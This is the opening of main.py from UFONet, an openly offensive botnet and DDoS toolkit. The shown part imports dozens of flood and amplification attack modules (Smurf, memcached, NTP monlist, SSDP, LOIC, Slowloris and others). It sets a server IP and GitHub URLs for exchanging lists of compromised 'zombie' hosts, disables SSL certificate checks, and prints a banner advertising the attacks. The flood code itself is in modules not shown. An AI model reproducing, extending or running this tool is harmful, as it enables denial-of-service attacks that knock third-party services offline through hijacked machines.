main.py 334 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817818819820821822823824825826827828829830831832833834835836837838839840841842843844845846847848849850851852853854855856857858859860861862863864865866867868869870871872873874875876877878879880881882883884885886887888889890891892893894895896897898899900901902903904905906907908909910911912913914915916917918919920921922923924925926927928929930931932933934935936937938939940941942943944945946947948949950951952953954955956957958959960961962963964965966967968969970971972973974975976977978979980981982983984985986987988989990991992993994995996997998999100010011002100310041005100610071008100910101011101210131014101510161017101810191020102110221023102410251026102710281029103010311032103310341035103610371038103910401041104210431044104510461047104810491050105110521053105410551056105710581059106010611062106310641065106610671068106910701071107210731074107510761077107810791080108110821083108410851086108710881089109010911092109310941095109610971098109911001101110211031104110511061107110811091110111111121113111411151116111711181119112011211122112311241125112611271128112911301131113211331134113511361137113811391140114111421143114411451146114711481149115011511152115311541155115611571158115911601161116211631164116511661167116811691170117111721173117411751176117711781179118011811182118311841185118611871188118911901191119211931194119511961197119811991200120112021203120412051206120712081209121012111212121312141215121612171218121912201221122212231224122512261227122812291230123112321233123412351236123712381239124012411242124312441245124612471248124912501251125212531254125512561257125812591260126112621263126412651266126712681269127012711272127312741275127612771278127912801281128212831284128512861287128812891290129112921293129412951296129712981299130013011302130313041305130613071308130913101311131213131314131513161317131813191320132113221323132413251326132713281329133013311332133313341335133613371338133913401341134213431344134513461347134813491350135113521353135413551356135713581359136013611362136313641365136613671368136913701371137213731374137513761377137813791380138113821383138413851386138713881389139013911392139313941395139613971398139914001401140214031404140514061407140814091410141114121413141414151416141714181419142014211422142314241425142614271428142914301431143214331434143514361437143814391440144114421443144414451446144714481449145014511452145314541455145614571458145914601461146214631464146514661467146814691470147114721473147414751476147714781479148014811482148314841485148614871488148914901491149214931494149514961497149814991500150115021503150415051506150715081509151015111512151315141515151615171518151915201521152215231524152515261527152815291530153115321533153415351536153715381539154015411542154315441545154615471548154915501551155215531554155515561557155815591560156115621563156415651566156715681569157015711572157315741575157615771578157915801581158215831584158515861587158815891590159115921593159415951596159715981599160016011602160316041605160616071608160916101611161216131614161516161617161816191620162116221623162416251626162716281629163016311632163316341635163616371638163916401641164216431644164516461647164816491650165116521653165416551656165716581659166016611662166316641665166616671668166916701671167216731674167516761677167816791680168116821683168416851686168716881689169016911692169316941695169616971698169917001701170217031704170517061707170817091710171117121713171417151716171717181719172017211722172317241725172617271728172917301731173217331734173517361737173817391740174117421743174417451746174717481749175017511752175317541755175617571758175917601761176217631764176517661767176817691770177117721773177417751776177717781779178017811782178317841785178617871788178917901791179217931794179517961797179817991800180118021803180418051806180718081809181018111812181318141815181618171818181918201821182218231824182518261827182818291830183118321833183418351836183718381839184018411842184318441845184618471848184918501851185218531854185518561857185818591860186118621863186418651866186718681869187018711872187318741875187618771878187918801881188218831884188518861887188818891890189118921893189418951896189718981899190019011902190319041905190619071908190919101911191219131914191519161917191819191920192119221923192419251926192719281929193019311932193319341935193619371938193919401941194219431944194519461947194819491950195119521953195419551956195719581959196019611962196319641965196619671968196919701971197219731974197519761977197819791980198119821983198419851986198719881989199019911992199319941995199619971998199920002001200220032004200520062007200820092010201120122013201420152016201720182019202020212022202320242025202620272028202920302031203220332034203520362037203820392040204120422043204420452046204720482049205020512052205320542055205620572058205920602061206220632064206520662067206820692070207120722073207420752076207720782079208020812082208320842085208620872088208920902091209220932094209520962097209820992100210121022103210421052106210721082109211021112112211321142115211621172118211921202121212221232124212521262127212821292130213121322133213421352136213721382139214021412142214321442145214621472148214921502151215221532154215521562157215821592160216121622163216421652166216721682169217021712172217321742175217621772178217921802181218221832184218521862187218821892190219121922193219421952196219721982199220022012202220322042205220622072208220922102211221222132214221522162217221822192220222122222223222422252226222722282229223022312232223322342235223622372238223922402241224222432244224522462247224822492250225122522253225422552256225722582259226022612262226322642265226622672268226922702271227222732274227522762277227822792280228122822283228422852286228722882289229022912292229322942295229622972298229923002301230223032304230523062307230823092310231123122313231423152316231723182319232023212322232323242325232623272328232923302331233223332334233523362337233823392340234123422343234423452346234723482349235023512352235323542355235623572358235923602361236223632364236523662367236823692370237123722373237423752376237723782379238023812382238323842385238623872388238923902391239223932394239523962397239823992400240124022403240424052406240724082409241024112412241324142415241624172418241924202421242224232424242524262427242824292430243124322433243424352436243724382439244024412442244324442445244624472448244924502451245224532454245524562457245824592460246124622463246424652466246724682469247024712472247324742475247624772478247924802481248224832484248524862487248824892490249124922493249424952496249724982499250025012502250325042505250625072508250925102511251225132514251525162517251825192520252125222523252425252526252725282529253025312532253325342535253625372538253925402541254225432544254525462547254825492550255125522553255425552556255725582559256025612562256325642565256625672568256925702571257225732574257525762577257825792580258125822583258425852586258725882589259025912592259325942595259625972598259926002601260226032604260526062607260826092610261126122613261426152616261726182619262026212622262326242625262626272628262926302631263226332634263526362637263826392640264126422643264426452646264726482649265026512652265326542655265626572658265926602661266226632664266526662667266826692670267126722673267426752676267726782679268026812682268326842685268626872688268926902691269226932694269526962697269826992700270127022703270427052706270727082709271027112712271327142715271627172718271927202721272227232724272527262727272827292730273127322733273427352736273727382739274027412742274327442745274627472748274927502751275227532754275527562757275827592760276127622763276427652766276727682769277027712772277327742775277627772778277927802781278227832784278527862787278827892790279127922793279427952796279727982799280028012802280328042805280628072808280928102811281228132814281528162817281828192820282128222823282428252826282728282829283028312832283328342835283628372838283928402841284228432844284528462847284828492850285128522853285428552856285728582859286028612862286328642865286628672868286928702871287228732874287528762877287828792880288128822883288428852886288728882889289028912892289328942895289628972898289929002901290229032904290529062907290829092910291129122913291429152916291729182919292029212922292329242925292629272928292929302931293229332934293529362937293829392940294129422943294429452946294729482949295029512952295329542955295629572958295929602961296229632964296529662967296829692970297129722973297429752976297729782979298029812982298329842985298629872988298929902991299229932994299529962997299829993000300130023003300430053006300730083009301030113012301330143015301630173018301930203021302230233024302530263027302830293030303130323033303430353036303730383039304030413042304330443045304630473048304930503051305230533054305530563057305830593060306130623063306430653066306730683069307030713072307330743075307630773078307930803081308230833084308530863087308830893090309130923093309430953096309730983099310031013102310331043105310631073108310931103111311231133114311531163117311831193120312131223123312431253126312731283129313031313132313331343135313631373138313931403141314231433144314531463147314831493150315131523153315431553156315731583159316031613162316331643165316631673168316931703171317231733174317531763177317831793180318131823183318431853186318731883189319031913192319331943195319631973198319932003201320232033204320532063207320832093210321132123213321432153216321732183219322032213222322332243225322632273228322932303231323232333234323532363237323832393240324132423243324432453246324732483249325032513252325332543255325632573258325932603261326232633264326532663267326832693270327132723273327432753276327732783279328032813282328332843285328632873288328932903291329232933294329532963297329832993300330133023303330433053306330733083309331033113312331333143315331633173318331933203321332233233324332533263327332833293330333133323333333433353336333733383339334033413342334333443345334633473348334933503351335233533354335533563357335833593360336133623363336433653366336733683369337033713372337333743375337633773378337933803381338233833384338533863387338833893390339133923393339433953396339733983399340034013402340334043405340634073408340934103411341234133414341534163417341834193420342134223423342434253426342734283429343034313432343334343435343634373438343934403441344234433444344534463447344834493450345134523453345434553456345734583459346034613462346334643465346634673468346934703471347234733474347534763477347834793480348134823483348434853486348734883489349034913492349334943495349634973498349935003501350235033504350535063507350835093510351135123513351435153516351735183519352035213522352335243525352635273528352935303531353235333534353535363537353835393540354135423543354435453546354735483549355035513552355335543555355635573558355935603561356235633564356535663567356835693570357135723573357435753576357735783579358035813582358335843585358635873588358935903591359235933594359535963597359835993600360136023603360436053606360736083609361036113612361336143615361636173618361936203621362236233624362536263627362836293630363136323633363436353636363736383639364036413642364336443645364636473648364936503651365236533654365536563657365836593660366136623663366436653666366736683669367036713672367336743675367636773678367936803681368236833684368536863687368836893690369136923693369436953696369736983699370037013702370337043705370637073708370937103711371237133714371537163717371837193720372137223723372437253726372737283729373037313732373337343735373637373738373937403741374237433744374537463747374837493750375137523753375437553756375737583759376037613762376337643765376637673768376937703771377237733774377537763777377837793780378137823783378437853786378737883789379037913792379337943795379637973798379938003801380238033804380538063807380838093810381138123813381438153816381738183819382038213822382338243825382638273828382938303831383238333834383538363837383838393840384138423843384438453846384738483849385038513852385338543855385638573858385938603861386238633864386538663867386838693870387138723873387438753876387738783879388038813882388338843885388638873888388938903891389238933894389538963897389838993900390139023903390439053906390739083909391039113912391339143915391639173918391939203921392239233924392539263927392839293930393139323933393439353936393739383939394039413942394339443945394639473948394939503951395239533954395539563957395839593960396139623963396439653966396739683969397039713972397339743975397639773978397939803981398239833984398539863987398839893990399139923993399439953996399739983999400040014002400340044005400640074008400940104011401240134014401540164017401840194020402140224023402440254026402740284029403040314032403340344035403640374038403940404041404240434044404540464047404840494050405140524053405440554056405740584059406040614062406340644065406640674068406940704071407240734074407540764077407840794080408140824083408440854086408740884089409040914092409340944095409640974098409941004101410241034104410541064107410841094110411141124113411441154116411741184119412041214122412341244125412641274128412941304131413241334134413541364137413841394140414141424143414441454146414741484149415041514152415341544155415641574158415941604161416241634164416541664167416841694170417141724173417441754176417741784179418041814182418341844185418641874188418941904191419241934194419541964197419841994200420142024203420442054206420742084209421042114212421342144215421642174218421942204221422242234224422542264227422842294230423142324233423442354236423742384239424042414242424342444245424642474248424942504251425242534254425542564257425842594260426142624263426442654266426742684269427042714272427342744275427642774278427942804281428242834284428542864287428842894290429142924293429442954296429742984299430043014302430343044305430643074308430943104311431243134314431543164317431843194320432143224323432443254326432743284329433043314332433343344335433643374338433943404341434243434344434543464347434843494350435143524353435443554356435743584359436043614362436343644365436643674368436943704371437243734374437543764377437843794380438143824383438443854386438743884389439043914392439343944395439643974398439944004401440244034404440544064407440844094410441144124413441444154416441744184419442044214422442344244425442644274428442944304431443244334434443544364437443844394440444144424443444444454446444744484449445044514452445344544455445644574458445944604461446244634464446544664467446844694470447144724473447444754476447744784479448044814482448344844485448644874488448944904491449244934494449544964497449844994500450145024503450445054506450745084509451045114512451345144515451645174518451945204521452245234524452545264527452845294530453145324533453445354536453745384539454045414542454345444545454645474548454945504551455245534554455545564557455845594560456145624563456445654566456745684569457045714572457345744575457645774578457945804581458245834584458545864587458845894590459145924593459445954596459745984599460046014602460346044605460646074608460946104611461246134614461546164617461846194620462146224623462446254626462746284629463046314632463346344635463646374638463946404641464246434644464546464647464846494650465146524653465446554656465746584659466046614662466346644665466646674668466946704671467246734674467546764677467846794680468146824683468446854686468746884689469046914692469346944695469646974698469947004701470247034704470547064707470847094710471147124713471447154716471747184719472047214722472347244725472647274728472947304731473247334734473547364737473847394740474147424743474447454746474747484749475047514752475347544755475647574758475947604761476247634764476547664767476847694770477147724773477447754776477747784779478047814782478347844785478647874788478947904791479247934794479547964797479847994800480148024803480448054806480748084809481048114812481348144815481648174818481948204821482248234824482548264827482848294830483148324833483448354836483748384839484048414842484348444845484648474848484948504851485248534854485548564857485848594860486148624863486448654866486748684869487048714872487348744875487648774878487948804881488248834884488548864887488848894890489148924893489448954896489748984899490049014902490349044905490649074908490949104911491249134914491549164917491849194920492149224923492449254926492749284929493049314932493349344935493649374938493949404941494249434944494549464947494849494950495149524953495449554956495749584959496049614962496349644965496649674968496949704971497249734974497549764977497849794980498149824983498449854986498749884989499049914992499349944995499649974998499950005001500250035004500550065007500850095010501150125013501450155016501750185019502050215022502350245025502650275028502950305031503250335034503550365037503850395040504150425043504450455046504750485049505050515052505350545055505650575058505950605061506250635064506550665067506850695070507150725073507450755076507750785079508050815082508350845085508650875088508950905091509250935094509550965097509850995100510151025103510451055106510751085109511051115112511351145115511651175118511951205121512251235124512551265127512851295130513151325133513451355136513751385139514051415142514351445145514651475148514951505151515251535154515551565157515851595160516151625163516451655166516751685169517051715172517351745175517651775178517951805181518251835184518551865187518851895190519151925193519451955196519751985199520052015202520352045205520652075208520952105211521252135214521552165217521852195220522152225223522452255226522752285229523052315232523352345235523652375238523952405241524252435244524552465247524852495250525152525253525452555256525752585259526052615262526352645265526652675268526952705271527252735274527552765277527852795280528152825283528452855286528752885289529052915292529352945295529652975298529953005301530253035304530553065307530853095310531153125313531453155316531753185319532053215322532353245325532653275328532953305331533253335334533553365337533853395340534153425343534453455346534753485349535053515352535353545355535653575358535953605361536253635364536553665367536853695370537153725373537453755376537753785379538053815382538353845385538653875388538953905391539253935394539553965397539853995400540154025403540454055406540754085409541054115412541354145415541654175418541954205421542254235424542554265427542854295430543154325433543454355436543754385439544054415442544354445445544654475448544954505451545254535454545554565457545854595460546154625463546454655466546754685469547054715472547354745475547654775478547954805481548254835484548554865487548854895490549154925493549454955496549754985499550055015502550355045505550655075508550955105511551255135514551555165517551855195520552155225523552455255526552755285529553055315532553355345535553655375538553955405541554255435544554555465547554855495550555155525553555455555556555755585559556055615562556355645565556655675568556955705571557255735574557555765577557855795580558155825583558455855586558755885589559055915592559355945595559655975598559956005601560256035604560556065607560856095610561156125613561456155616561756185619562056215622562356245625562656275628562956305631563256335634563556365637563856395640564156425643564456455646564756485649565056515652565356545655565656575658565956605661566256635664566556665667566856695670567156725673567456755676567756785679568056815682568356845685568656875688568956905691569256935694569556965697569856995700570157025703570457055706570757085709571057115712571357145715571657175718571957205721572257235724572557265727572857295730573157325733573457355736573757385739574057415742574357445745574657475748574957505751575257535754575557565757575857595760576157625763576457655766576757685769577057715772577357745775577657775778577957805781578257835784578557865787578857895790579157925793579457955796579757985799580058015802580358045805580658075808580958105811581258135814581558165817581858195820582158225823582458255826582758285829583058315832583358345835583658375838583958405841584258435844584558465847584858495850585158525853585458555856585758585859586058615862586358645865586658675868586958705871587258735874587558765877587858795880588158825883588458855886588758885889589058915892589358945895589658975898589959005901590259035904590559065907590859095910591159125913591459155916591759185919592059215922592359245925592659275928592959305931593259335934593559365937593859395940594159425943594459455946594759485949595059515952595359545955595659575958595959605961596259635964596559665967596859695970597159725973597459755976597759785979598059815982598359845985598659875988598959905991599259935994599559965997599859996000600160026003600460056006600760086009601060116012601360146015601660176018601960206021602260236024602560266027602860296030603160326033603460356036603760386039604060416042604360446045604660476048604960506051605260536054605560566057605860596060606160626063606460656066606760686069607060716072607360746075607660776078607960806081608260836084608560866087608860896090609160926093609460956096609760986099610061016102610361046105610661076108610961106111611261136114611561166117611861196120612161226123612461256126612761286129613061316132613361346135613661376138613961406141614261436144614561466147614861496150615161526153615461556156615761586159616061616162616361646165616661676168616961706171617261736174617561766177617861796180618161826183618461856186618761886189619061916192619361946195619661976198619962006201620262036204620562066207620862096210621162126213621462156216621762186219622062216222622362246225622662276228622962306231623262336234623562366237623862396240624162426243624462456246624762486249625062516252625362546255625662576258625962606261626262636264626562666267626862696270627162726273627462756276627762786279628062816282628362846285628662876288628962906291629262936294629562966297629862996300630163026303630463056306630763086309631063116312631363146315631663176318631963206321632263236324632563266327632863296330633163326333633463356336633763386339634063416342634363446345634663476348634963506351635263536354635563566357635863596360636163626363636463656366636763686369637063716372637363746375637663776378637963806381638263836384638563866387638863896390639163926393639463956396639763986399640064016402640364046405640664076408640964106411641264136414641564166417641864196420642164226423642464256426642764286429643064316432643364346435643664376438643964406441644264436444644564466447644864496450645164526453645464556456645764586459646064616462646364646465646664676468646964706471647264736474647564766477647864796480648164826483648464856486648764886489649064916492649364946495649664976498649965006501650265036504650565066507650865096510651165126513651465156516651765186519652065216522652365246525652665276528652965306531653265336534653565366537653865396540654165426543654465456546654765486549655065516552655365546555655665576558655965606561656265636564656565666567656865696570657165726573657465756576657765786579658065816582658365846585658665876588658965906591659265936594659565966597659865996600660166026603660466056606660766086609661066116612661366146615661666176618661966206621662266236624662566266627662866296630663166326633663466356636663766386639664066416642664366446645664666476648664966506651665266536654665566566657665866596660666166626663666466656666666766686669667066716672667366746675667666776678667966806681668266836684668566866687668866896690669166926693669466956696669766986699670067016702670367046705670667076708670967106711671267136714671567166717671867196720672167226723672467256726672767286729673067316732673367346735673667376738673967406741674267436744674567466747674867496750675167526753675467556756675767586759676067616762676367646765676667676768676967706771677267736774677567766777677867796780678167826783678467856786678767886789679067916792
  1. #!/usr/bin/env python3
  2. # -*- coding: utf-8 -*-"
  3. """
  4. This file is part of the UFONet project, https://ufonet.03c8.net
  5. Copyright (c) 2013/2026 | psy <epsylon@riseup.net>
  6. You should have received a copy of the GNU General Public License along
  7. with UFONet; if not, write to the Free Software Foundation, Inc., 51
  8. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  9. """
  10. import os, sys, re, traceback, random, time, threading, base64, string, math
  11. import io, socket, ssl, json, gzip
  12. import urllib.request, urllib.error, urllib.parse
  13. from hashlib import sha1, sha256
  14. from urllib.parse import urlparse
  15. try:
  16. from Cryptodome.Cipher import AES
  17. except ImportError:
  18. from core._ensure import ensure
  19. _m = ensure('Cryptodome.Cipher', 'pycryptodomex')
  20. if _m is None:
  21. print("\n[Error] Something wrong with -crypto- libs... Aborting!\n")
  22. sys.exit()
  23. from Cryptodome.Cipher import AES
  24. from uuid import getnode
  25. from random import randrange, shuffle
  26. from .options import UFONetOptions
  27. from .update import Updater
  28. from .herd import Herd
  29. from .zombie import Zombie
  30. from .doll import Doll
  31. from core.tools.inspector import Inspector
  32. from core.tools.abductor import Abductor
  33. from core.tools.ufoscan import UFOSCAN
  34. from core.mods.loic import LOIC
  35. from core.mods.loris import LORIS
  36. from core.mods.ufosyn import UFOSYN
  37. from core.mods.spray import SPRAY
  38. from core.mods.smurf import SMURF
  39. from core.mods.xmas import XMAS
  40. from core.mods.nuke import NUKE
  41. from core.mods.tachyon import TACHYON
  42. from core.mods.monlist import MONLIST
  43. from core.mods.sniper import SNIPER
  44. from core.mods.memcached import MEMCACHED
  45. from core.mods.chargen import CHARGEN
  46. from core.mods.cldap import CLDAP
  47. from core.mods.ssdp import SSDP
  48. from core.mods.qotd import QOTD
  49. from core.mods.tftp import TFTP
  50. from core.mods.wsdisco import WSDISCO
  51. from core.mods.coap import COAP
  52. from core.mods.mssql import MSSQL
  53. from core.mods.rapidreset import RAPIDRESET
  54. from core.mods.middlebox import MIDDLEBOX
  55. from core.mods.slowread import SLOWREAD
  56. from core.mods.goldeneye import GOLDENEYE
  57. from core.mods.finflood import FINFLOOD
  58. from core.mods.arms import ARMS
  59. from core.mods.plex import PLEX
  60. from core.mods.netbios import NETBIOS
  61. from core.mods.ripv1 import RIPV1
  62. from core.mods.ufoack import UFOACK
  63. from core.mods.uforst import UFORST
  64. from core.mods.droper import DROPER
  65. from core.mods.overlap import OVERLAP
  66. from core.mods.pinger import PINGER
  67. from core.mods.ufoudp import UFOUDP
  68. from core.mods.fraggle import FRAGGLE
  69. DEBUG = False # use 'True' for detailed traceback
  70. class UFONet(object):
  71. def __init__(self):
  72. self.exit_msg = 'Donate BTC (Bitcoin) to keep UFONet (https://ufonet.03c8.net) strong!' # set msg show at the end [FILO ;-)]
  73. self.blackhole = '46.163.118.220' # default download/upload zombies [Blackhole] [Server] / Try [DIY] your own [Mirror]...
  74. self.crypto_key = "U-NATi0n!" # default cryptkey
  75. self.GIT_REPOSITORY = 'https://code.03c8.net/epsylon/ufonet' # oficial code source [OK! 22/12/2018]
  76. self.GIT_REPOSITORY2 = 'https://github.com/epsylon/ufonet' # mirror source [since: 04/06/2018]
  77. self.github_zombies = 'https://raw.githubusercontent.com/epsylon/ufonet/master/botnet/' # default [RAW] download/upload zombies [Blackhole] [GitHub] [DIY]
  78. self.external_check_service1 = 'https://www.isitdownrightnow.com/check.php?domain='
  79. self.check_tor_url = 'https://check.torproject.org/'
  80. self.check_ip_service1 = 'https://api.ipify.org'
  81. self.check_ip_service2 = 'https://icanhazip.com'
  82. self.check_ip_service3 = 'https://ifconfig.me/ip'
  83. self.agents_file = 'core/txt/user-agents.txt' # set source path to retrieve user-agents
  84. self.motherships_file = 'core/txt/motherships.txt' # set source path to retrieve mothership names
  85. self.zombies_file = 'botnet/zombies.txt' # set source path to retrieve [Zombies]
  86. self.aliens_file = 'botnet/aliens.txt' # set source path to retrieve [Aliens]
  87. self.dnss_file = 'botnet/dns.txt' # set source path to retrieve [DNSs]
  88. self.droids_file = 'botnet/droids.txt' # set source path to retrieve [Droids]
  89. self.ucavs_file = 'botnet/ucavs.txt' # set source path to retrieve 'ucavs'
  90. self.rpcs_file = 'botnet/rpcs.txt' # set source path to retrieve 'rpcs'
  91. self.ntps_file = 'botnet/ntp.txt' # set source path to retrieve [NTPs]
  92. self.snmps_file = 'botnet/snmp.txt' # set source path to retrieve [SNMPs]
  93. self.humans_file = 'botnet/humans.txt' # set source path to retrieve 'humans'
  94. self.dorks_file = 'botnet/dorks.txt' # set source path to retrieve [Dorks]
  95. self.mothership_stats_file = 'core/json/stats.json' # set source for mothership stats
  96. self.timeline_file = 'docs/VERSION' # set source for code releases
  97. self.links_file = "data/links.txt" # set source path to retrieve [Blackhole] [Links]
  98. self.streams_file = "data/streams.txt" # set source path to retrieve [Blackhole] [Streams]
  99. self.globalnet_file = "data/globalnet.txt" # set source path to retrieve [Blackhole] [Globalnet]
  100. self.nodes_file = "data/nodes.txt" # set source path to retrieve [Blackhole] [Community] [Nodes]
  101. self.news_file = "data/news.txt" # set source path to retrieve [Blackhole] [News]
  102. self.tv_file = "data/tv.txt" # set source path to retrieve [Blackhole] [TV]
  103. self.missions_file = "data/missions.txt" # set source path to retrieve [Blackhole] [Missions]
  104. self.board_file = "data/board.txt" # set source path to retrieve [Blackhole] [Board]
  105. self.grid_file = "data/grid.txt" # set source path to retrieve [Blackhole] [Grid]
  106. self.wargames_file = "data/wargames.txt" # set source path to retrieve [Blackhole] [Wargames]
  107. self.examples_file = "docs/examples.txt" # set source path to retrieve [Examples]
  108. self.misc_file = "core/txt/misc.txt" # set source path to retrieve [Miscellania] cites
  109. self.referer = '' # black magic
  110. self.port = "8080" # default injection port
  111. self.mothershipname = "core/txt/shipname.txt"
  112. self.default_mothership_name = "l4m3r-lulz/0\n" # default mothership name
  113. self.mothership_model_file = 'core/txt/model.txt' # set source for mothership model
  114. self.warping_path = '/var/www/ufonet' # set source for warping path
  115. self.warping_folder_permissions = 0o644 # set permission for warping folder
  116. f = open(self.mothership_model_file) # extract mothership model
  117. self.mothership_model = f.readlines()
  118. for model in self.mothership_model:
  119. model = model.rstrip('\n')
  120. self.mothership_model = model
  121. f.close()
  122. self.mothership_baptism() # generating static name/id for your mothership ;-)
  123. self.head = False
  124. self.payload = False
  125. self.external = False
  126. self.attack_mode = False
  127. self.connection_failed = False
  128. self.total_possible_zombies = 0
  129. self.herd = Herd(self)
  130. self.sem = False
  131. self.db_flash = 0 # db stress counter
  132. self.total_aliens = 0
  133. self.aliens_hit = 0
  134. self.aliens_fail = 0
  135. self.total_droids = 0
  136. self.droids_hit = 0
  137. self.droids_fail = 0
  138. self.total_ucavs = 0
  139. self.ucavs_hit = 0
  140. self.ucavs_fail = 0
  141. self.total_rpcs = 0
  142. self.rpcs_hit = 0
  143. self.rpcs_fail = 0
  144. self.total_loic = 0
  145. self.total_loris = 0
  146. self.total_syn = 0
  147. self.total_spray = 0
  148. self.total_smurf = 0
  149. self.total_fraggle = 0
  150. self.total_xmas = 0
  151. self.total_ufoack = 0
  152. self.total_uforst = 0
  153. self.total_droper = 0
  154. self.total_overlap = 0
  155. self.total_pinger = 0
  156. self.total_ufoudp = 0
  157. self.total_nuke = 0
  158. self.total_tachyon = 0
  159. self.total_monlist = 0
  160. self.total_sniper = 0
  161. self.total_zombies_failed_connection = 0
  162. self.ctx = ssl.create_default_context() # creating context to bypass SSL cert validation (black magic)
  163. self.ctx.check_hostname = False
  164. self.ctx.verify_mode = ssl.CERT_NONE
  165. self.nat_error_flag = "OFF"
  166. self.trans_zombies = 0
  167. self.scanned_zombies = 0
  168. self.loadcheck_counter = 0
  169. self.loadcheck_prev_size = None
  170. self.loadcheck_prev_load = None
  171. self.loadcheck_first_size = None
  172. self.loadcheck_first_load = None
  173. self.loadcheck_size_list = []
  174. self.loadcheck_load_list = []
  175. self.loadcheck_size_median = None
  176. self.loadcheck_size_max = None
  177. self.loadcheck_size_min = None
  178. self.loadcheck_load_median = None
  179. self.loadcheck_size_max = None
  180. self.loadcheck_size_min = None
  181. self.num_is_up = 0 # counter for [UCAVs] 'up' reports
  182. self.num_is_down = 0 # counter for [UCAVs] 'down' reports
  183. self.expire_timing = 30 # default expiring time per round
  184. self.extra_zombies_lock = False # used to lock threading flow when [ARMY] is required
  185. self.ac_control = [] # used by 'herd.py' to lock threading flow when [Zombies] are returning
  186. self.globalnet_msg_sep = "#$#" # globalnet stream separator
  187. self.trans_5C = ''.join([chr (x ^ 0x5c) for x in range(256)])
  188. self.trans_36 = ''.join([chr (x ^ 0x36) for x in range(256)])
  189. self.trans_5C = self.trans_5C.encode("latin-1")
  190. self.trans_36 = self.trans_36.encode("latin-1")
  191. def mothership_baptism(self):
  192. if os.path.exists(self.mothershipname) == True:
  193. f = open(self.mothershipname)
  194. self.mothership_id = f.read()
  195. f.close()
  196. self._shipname_new = False
  197. else:
  198. self.mothership_ids = []
  199. try:
  200. f = open(self.motherships_file)
  201. motherships = f.readlines()
  202. f.close()
  203. for ship in motherships:
  204. ship = ship.encode("utf-8")
  205. self.mothership_ids.append(base64.urlsafe_b64encode(ship))
  206. try:
  207. self.mothership_id = str(base64.b64decode(random.choice(self.mothership_ids).strip()), 'utf-8')
  208. except:
  209. try:
  210. self.mothership_id = str(base64.b64decode(random.choice(self.mothership_ids).strip()), 'latin-1')+"\n" # id (hack&slash!) creation ;-)
  211. except:
  212. self.mothership_id = self.default_mothership_name
  213. except:
  214. self.mothership_id = self.default_mothership_name
  215. if len(str(self.mothership_id.upper())) > 20: # motherhip naming anti-cheating! ;-)
  216. self.mothership_id = self.default_mothership_name
  217. m = open(self.mothershipname, "w") # write mothership name to a static file
  218. m.write(str(self.mothership_id.upper()))
  219. m.close()
  220. self._shipname_new = True
  221. def create_options(self, args=None):
  222. self.optionParser = UFONetOptions()
  223. self.options = self.optionParser.get_options(args)
  224. if not self.options:
  225. return False
  226. return self.options
  227. def banner_welcome(self):
  228. L, R = 36, 36
  229. def cell(left, right):
  230. return "||" + (left or "").ljust(L) + "#" + (right or "").ljust(R) + "||"
  231. sep = "#|" + ("=" * (L + 1 + R)) + "|#"
  232. rows = [
  233. (" > Botnet [DDoS]", " > Close Combat [DoS]"),
  234. ("", ""),
  235. (" |-> ZOMBIES |-> DROIDS", " |-> LOIC |-> LORIS"),
  236. (" |-> ALIENS |-> UCAVs", " |-> UFOSYN |-> XMAS"),
  237. (" |-> X-RPCs |-> DBSTRESS", " |-> NUKE |-> UFOACK"),
  238. (" |-> SPRAY |-> SMURF", " |-> UFORST |-> DROPER"),
  239. (" |-> TACHYON |-> MONLIST", " |-> OVERLAP |-> PINGER"),
  240. (" |-> FRAGGLE |-> SNIPER", " |-> UFOUDP |-> SLOWREAD"),
  241. (" |-> MEMCACHED |-> CHARGEN", " |-> GOLDENEYE |-> RAPIDRESET"),
  242. (" |-> CLDAP |-> SSDP", " |-> FINFLOOD"),
  243. (" |-> QOTD |-> TFTP", ""),
  244. (" |-> WSDISCO |-> COAP", ""),
  245. (" |-> MSSQL |-> ARMS", ""),
  246. (" |-> PLEX |-> NETBIOS", ""),
  247. (" |-> RIPV1 |-> MIDDLEBOX", ""),
  248. ("", ""),
  249. ]
  250. alien = [
  251. r" ____ ",
  252. r" || / /\ \ || ",
  253. r" -(00)- + (XX) + -(00)- ",
  254. r" || || O ==*~~~~~~*== 0 || || ",
  255. r" -(00)- O|O (0) XX (0) -(00)- ",
  256. r" || _____ |____\| (00) |/______|D___ || ",
  257. r" O+!$(O)! (O) 0'----'0 (O) !(O)$!+O ",
  258. r" |OO OO| .''.( xx ).''. |OO OO| ",
  259. r" **+***.'.' +X|'..'|X+ '.'***+**. ",
  260. r" .-. .' /'--.__|_00_|__.--'\ '. .-. ",
  261. r" +(O).)-|0| \ x| ## |x / |0|-(.(O)+ ",
  262. r" `-' '-'-._'-./ -00- \.-'_.-'-' `-' ",
  263. r" _ | || '-.___||___.-' || | _ ",
  264. r" .' _ | ||==O | __ | O==|| | _ '. ",
  265. r" / .' ''.| || | /_00_\ | || |.'' '. \ ",
  266. r" _ | '### | =| | ###### | |= |' ### | _ ",
  267. r"(0)-| |(0)| '. 0\||__**_ ||/0 .' |(0)| |-(0) ",
  268. r" ★ \ '._.' '. | \_##_/ | .' '._.' / ★ ",
  269. r" '.__ ____0_'.|__'--'__|.'_0____ __.' ",
  270. r" .'_.-| YY |-._'. ",
  271. ]
  272. print(alien[0])
